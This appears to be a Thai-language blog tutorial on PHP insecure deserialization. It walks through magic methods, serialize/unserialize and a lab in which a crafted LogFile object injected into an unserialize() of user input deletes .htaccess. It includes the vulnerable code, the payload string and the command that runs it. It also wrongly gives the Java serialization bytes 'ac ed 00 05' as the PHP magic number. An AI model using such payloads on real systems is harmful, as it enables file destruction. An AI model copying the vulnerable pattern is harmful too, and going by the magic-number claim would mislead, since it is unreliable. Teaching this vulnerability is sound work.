PHP DESERIALIZATION LAB
PHP DESERIALIZATION LAB
ใน OWASP Top 10 มีความเสี่ยงหนึ่งที่ถูกเพิ่มเข้ามานั่นคือ A8:2017-Insecure Deserialization ซึ่งเป็นช่องโหว่ที่ไม่พบมากนัก แต่ถือว่าเป็นช่องโหว่ที่ร้ายแรงครับ
<?php
class TestClass
{
// A variable
public $variable = 'This is a string';
// A simple method
public function PrintVariable()
{
echo $this->variable;
}
}
// Create an object
$object = new TestClass();
// Call a method
$object->PrintVariable();
?>
จาก Class จะเห็นถึงการสร้าง PHP Object จาก class นะครับ และมีการเรียกใช้ฟังก์ชั่น PrintVariable() จาก class ที่ถูกสร้างมา ทีนี้ class นั้นสามารถมี function ที่เรียกว่า Magic function ได้ โดย magic function ดังกล่าวจะขึ้นต้นด้วย “__” เช่น __construct, __destruct, __toString, __sleep, __wakeup และอื่นๆ
โดยแต่ละ magic function นั้นจะถูกใช้งานแตกต่างกัน
โดยแต่ละ magic function นั้นจะถูกใช้งานแตกต่างกัน
- __construct จะถูกใช้เมื่อ object ถูกสร้าง (constructor)
- __destruct จะถูกใช้เมื่อ object ถูกทำลาย (destructor)
- __toString จะถูกใช้เมื่อ object ถูกใช้ไปเป็น string
ยกตัวอย่าง magic function
<?php
classTestClass
{
// A variable
public $variable = 'This is a string';
// A simple method
public function PrintVariable()
{
echo $this->variable . '<br/>';
}
// Constructor
public function __construct()
{
echo '__construct <br />';
}
// Destructor
public function __destruct()
{
echo '__destruct <br/>';
}
// Call
public function __toString()
{
return '__toString<br/>';
}
}
// Create an object
// Will call __construct
$object = new TestClass();
// Call a method
// Will print 'This is a string'
$object->PrintVariable();
// Object act as a string
// Will call __toString
echo $object;
// End of PHP script
// Will call __destruct
?>
ผลลัพธ์คือเมื่อมีการสร้าง class TestClass object จะมีการไปเรียก __construct หลังจากนั้นเมื่อมีการเรียกใช้งาน $object->PrintVariable(); ก็จะเป็นการใช้งาน function PrintVariable() จากนั้นเมื่อมีการ echo $object จะมีการแสดงข้อความ __toString และเมื่อมีการทำลาย object ก็จะมีการเรียกใช้งาน __destruct()
จะเห็นว่า __construct, __destruct และ __toString. จะทำงานในช่วงเวลาที่แตกต่างกัน (event) ทีนี้มันเกี่ยวอะไรกับ PHP Object Serialization มาดูกัน
จะเห็นว่า __construct, __destruct และ __toString. จะทำงานในช่วงเวลาที่แตกต่างกัน (event) ทีนี้มันเกี่ยวอะไรกับ PHP Object Serialization มาดูกัน
PHP Object Serialization
Serialization คือวิธีการในการที่เราจะ save object ที่เราสร้างขึ้นแล้วเก็บไปใช้ต่อได้ โดยการจะทำดังกล่าวจะต้องเรียกใช้ function “serialize()” โดยผลลัพธ์ที่ return กลับมาจาก function ดังกล่าวจะเป็นลักษณะ string ซึ่งอยู่ในลักษณะที่เป็น serialize object และหากเราต้องการนำกลับมาให้อยู่ในรูปแบบเดิมก็ต้องใช้ function “unserialize()” นั่นเอง
<?php
// Simple class definition
class User
{
// Class data
public$age = 0;
public$name = '';
// Print data
public function PrintData()
{
echo'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// Create a user
$usr = newUser();
// Set user data
$usr->age = 20;
$usr->name = 'John';
// Print data
$usr->PrintData();
// Serialize object and print output
echo serialize($usr);
?>
ผลลัพธ์คือ

จะเห็นว่าจาก object ถูกแปลเปลี่ยนกลายเป็น O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”John”;}
ทีนี้หากต้องการจะเอา serialize object กลับมาใช้จะเขียนเป็น

จะเห็นว่าจาก object ถูกแปลเปลี่ยนกลายเป็น O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”John”;}
ทีนี้หากต้องการจะเอา serialize object กลับมาใช้จะเขียนเป็น
<?php
// Simple class definition
class User
{
// Class data
public $age = 0;
public $name = '';
// Print data
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// Create a user
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
// Print data
$usr->PrintData();
?>
ผลลัพธ์คือ

*** Magic number ของ Serialize object คือ “ac ed” (hex) ครับ จากนั้นจะต่อด้วย Serialization protocol version “00 05” แล้วตามด้วยประเภทของ object ใน serialize object

*** Magic number ของ Serialize object คือ “ac ed” (hex) ครับ จากนั้นจะต่อด้วย Serialization protocol version “00 05” แล้วตามด้วยประเภทของ object ใน serialize object
Serialization magic functions
ทีนี้อย่างที่เราทราบกันว่า constructor (__construct) และ destructor (__destruct) จะถูกเรียกใช้งานเมื่อ object ถูก created และ destroyed, และยังมี magic functions อีกมากมายที่จะถูกเรียกใช้เมื่อมีการถูกทำ serialized และ unserialized:
- __sleep magic method ถูกใช้เมื่อ object ถูกทำ serialized โดย __sleep จะ return กลับด้วย array ของชื่อตัวแปลที่ถูก serialize
- __wakeup magic method ถูกใช้เมื่อทำ deserialized (หรือก็คือเรียกใช้ function unserialize)
ทดสอบใช้งาน magic function เมื่อทำ serialization
<?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';
public function PrintVariable()
{
echo $this->variable . '<br />';
echo "\r\n";
}
public function __construct()
{
echo'__construct<br />';
}
public function __destruct()
{
echo'__destruct<br />';
}
public function __wakeup()
{
echo'__wakeup<br />';
}
public function __sleep()
{
echo'__sleep<br />';
return array('variable', 'variable2');
}
}
// Create an object, will call __construct
$obj = new Test();
// Serialize object, will call __sleep
$serialized = serialize($obj);
echo "\r\n";
// Print serialized string
print "Serialized: " . $serialized. "<br/>";
echo "\r\n";
// Unserialize string, will call __wakeup
$obj2 = unserialize($serialized);
// Call PintVariable, will print data (BUZZ)
$obj2->PrintVariable();
echo "\r\n";
// PHP script ends, will call __destruct for both objects($obj and $obj2)
?>
ผลลัพธ์คือ


PHP Object Injection
หลังที่เราเข้าใจ serialization และ unserialization แล้ว ทีนี้เรามาดูตัวอย่างการ exploit กันบ้าง โดยคราวนี้จะยกตัวอย่าง php code ที่จะเก็บ log ไว้ในไฟล์ชั่วคราว นั่นหมายความว่าตอนทำ object จะเรียก __wakeup function ขึ้นมา แล้วจากนั้นจะทำการสร้างไฟล์ด้วย function ดังกล่าว และเมื่อทำการ destroy object ก็จะเรียกใช้งาน __destruct เพื่อลบไฟล์ที่เคยเป็นไฟล์ชั่วคราวมาก่อนนั่นเอง (โดยในที่นี้ไฟล์จะชื่อว่า test04-1.php)
<?php
class LogFile
{
// Specify log filename
public $filename = 'error.log';
// Some code
public function LogData($text)
{
echo 'Log some data: ' . $text;
echo "\r\n";
file_put_contents($this->filename, $text, FILE_APPEND);
}
// Destructor that deletes the log file
public function __destruct()
{
echo '__destruct deletes "'. $this->filename . '" file';
echo "\r\n";
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
?>
จากนั้นเราสร้างไฟล์ที่ชื่อว่า test04-2 ที่จะมีการเรียกใช้งาน test04-1.php
<?php
include 'test04-1.php';
// Create an object
$obj = new LogFile();
// Set filename and log data
$obj->filename = 'somefile.log';
$obj->LogData('Test');
// Destructor will be called and 'somefile.log' will be deleted
?>
ผลลัพธ์ที่ได้คือเมื่อเราทำการกำหนด filename ให้เป็น somefile.log แล้วทำการทำลาย object PHP (จบ php script) ไฟล์ somefile.log ก็จะถูกลบทิ้ง

ทีนี้ลองมาใช้ในรูปแบบของ serialization กันบ้าง โดยในที่นี้เราสร้างไฟล์ชื่อว่า test04-3.php

ทีนี้ลองมาใช้ในรูปแบบของ serialization กันบ้าง โดยในที่นี้เราสร้างไฟล์ชื่อว่า test04-3.php
<?php
if (isset($argv[1])) { $_GET['usr_serialized'] = $argv[1]; }
include 'test04-1.php';
// ... Some other code that uses LogFile class ...
// Simple class definition
class User
{
// Class data
public $age = 0;
public $name = '';
// Print data
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old.';
echo "\r\n";
}
}
// Unserialize user supplied data
$usr = unserialize($_GET['usr_serialized']);
?>
ทีนี้หากเรารันโดย input เป็น valid serialize data (string ที่เป็น serialize object ที่ถูกต้อง) จะได้ผลลัพธ์ตามด้านล่าง

แต่ถ้าหากเราเปลี่ยน object ที่ส่งไปให้ไปเป็น LogFile Object ล่ะจะเกิดอะไรขึ้น โดยเราจะเริ่มจากการสร้าง serialize object ที่ชื่อว่า LogFile เสียก่อน โดยการเขียน php เป็น

แต่ถ้าหากเราเปลี่ยน object ที่ส่งไปให้ไปเป็น LogFile Object ล่ะจะเกิดอะไรขึ้น โดยเราจะเริ่มจากการสร้าง serialize object ที่ชื่อว่า LogFile เสียก่อน โดยการเขียน php เป็น
<?php
include "test04-1.php";
$obj = new LogFile();
$obj->filename = '.htaccess';
echo serialize($obj) . "\r\n";
?>
ผลลัพธ์ที่ได้คือ
O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}
__destruct deletes ".htaccess" file.

ทีนี้เราย้อนกลับไป input test04-3.php ให้เป็น O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}
php test04-3.php 'O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}'
จะพบว่า file .htaccess ถูกลบทิ้ง เพราะเนื่องด้วยตอนที่ __destruct function ถูกเรียก(เมื่อ object ถูกทำลาย) เพราะเรากำหนดค่าของ filename ผ่าน serialize object ที่เราสร้างขึ้นมานั่นเอง
injection points ที่มักพบได้
อย่างที่เห็นเราจะทำการ inject object ใดๆได้ จำเป็นต้องทราบของ magic function เหล่านั้นเสียก่อนว่า class นั้นๆกำหนดไว้อย่างไร ซึ่งมันมีความเป็นไปได้ที่จะ inject ได้ในหลายๆ magic function
injection points ที่มักพบได้
อย่างที่เห็นเราจะทำการ inject object ใดๆได้ จำเป็นต้องทราบของ magic function เหล่านั้นเสียก่อนว่า class นั้นๆกำหนดไว้อย่างไร ซึ่งมันมีความเป็นไปได้ที่จะ inject ได้ในหลายๆ magic function
Comments
Post a Comment